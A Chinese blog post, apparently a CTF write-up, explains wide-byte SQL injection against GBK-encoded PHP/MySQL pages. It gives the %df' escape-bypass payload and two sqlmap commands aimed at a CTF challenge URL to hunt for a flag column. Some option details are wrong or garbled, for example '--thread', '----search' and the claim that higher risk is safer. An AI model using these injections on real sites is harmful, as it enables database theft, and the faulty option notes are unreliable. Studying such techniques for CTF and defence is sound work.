刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

宽字节注入与sqlmap进阶

宽字节注入

这里的话,先上例题


http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 

来自南邮CTF 挺典型的一道宽字节注入的题目。


之前在笔记中写过为啥宽字节成立。


这里解释一下宽字节注入 应该只用于GBK编码的环境,然后开启了icov或者addslashes函数


%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来,有了单引号就好注入了


http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' 这个就是我们url,输入sqlmap中

接下里的倒库操作中呢,我们还可以加点调料进去


--threads 10 //如果你玩过 msfconsole的话会对这个很熟悉 sqlmap线程最高设置为10

--level 3 //sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高可到5

--risk 3 // 执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全

----search //后面跟参数 -D -T -C 搜索列(S),表(S)和或数据库名称(S) 如果你脑子够聪明,应该知道库列表名中可能会有ctf,flag等字样,结果有时候题目就是这么耿直对吧?



不多说了,直接上命令

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --search -C flag--level 3 --risk 1 --thread 10

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --prefix="%df%27"  --search -C flag--level 3 --risk 1 --thread 10


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.